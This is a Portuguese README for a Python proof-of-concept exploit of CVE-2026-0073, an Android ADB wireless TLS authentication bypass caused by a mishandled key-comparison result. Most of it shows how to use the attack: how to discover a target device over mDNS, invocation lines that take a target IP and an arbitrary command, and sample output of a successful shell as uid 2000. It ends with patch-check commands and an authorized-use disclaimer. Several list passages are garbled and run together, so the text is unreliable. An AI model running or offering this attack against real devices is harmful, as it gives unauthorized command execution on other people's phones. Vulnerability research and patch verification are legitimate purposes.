
CVE-2026-0073 - PoC de Bypass de Autenticação Mútua Wireless do ADB
Este diretório contém uma prova de conceito em Python para CVE-2026-0073.
O script é gerado usando técnicas de geração de código assistidas por IA.
CVE-2026-0073 é um problema de lógica na verificação de certificados do daemon ADB (adbd_tls_verify_cert em auth.cpp).
A verificação vulnerável trata qualquer valor diferente de zero retornado por EVP_PKEY_cmp(...) como uma correspondência bem-sucedida.
O tratamento esperado do resultado da comparação deve ser:
1 = chaves correspondem0 = chaves não correspondemEm builds vulneráveis, valores negativos são tratados como verdadeiros e podem marcar incorretamente um certificado como autorizado.
poc-cve-2026-0073.py fazO script:
ec ou ed25519).shell: com fallback exec:).cryptographyInstalar dependência:
pip install cryptography
Descobrir serviço ADB alvo (se necessário):
adb mdns services
Executar o PoC:
python3 poc-cve-2026-0073.py <ip_alvo> [porta] [comando] [tipo_chave] [--verbose]
Argumentos:
ip_alvo: Endereço IP do dispositivo Android alvoporta: Porta ADB (padrão: 5555)comando: Comando a executar (padrão: id)tipo_chave: ec ou ed25519 (padrão: ec)--verbose: Ativar logs de depuração do protocoloExemplos:
python3 poc-cve-2026-0073.py 192.168.1.100 5555 id
python3 poc-cve-2026-0073.py 192.168.1.100 5555 whoami ec --verbose
python3 poc-cve-2026-0073.py 192.168.1.100 5555 getprop ed25519
[*] Abrindo serviço: 'shell:id'
[*] Após OPEN, recebido: OKAY arg0=2 data=b''
[+] Stream aberto (local_id=1, remote_id=2)
[+] Saída do comando:
----------------------------------------
uid=2000(shell) gid=2000(shell) ...
----------------------------------------
[+] Exploração bem-sucedida.
Connection refused
certificate_unknown
Tempo limite aguardando respostas
--verbose para traces em nível de pacote.O nível de patch de segurança do sistema operacional base e a aplicação de patches do módulo Mainline podem diferir. Um dispositivo pode exibir um SPL mensal mais antigo enquanto recebe correções mais recentes do módulo ADB.
Verificações úteis:
adb shell getprop ro.build.version.security_patch
adb shell pm list packages --apex-only | grep adbd
adb shell dumpsys package com.google.android.adbd | grep -E "versionCode|versionName|lastUpdateTime"
Use este PoC apenas em ambientes autorizados (dispositivos de laboratório próprios, permissão explícita ou testes sancionados). Não execute isso em sistemas que você não possui ou para os quais não tenha autorização por escrito para testar.
daemon/auth.cpp)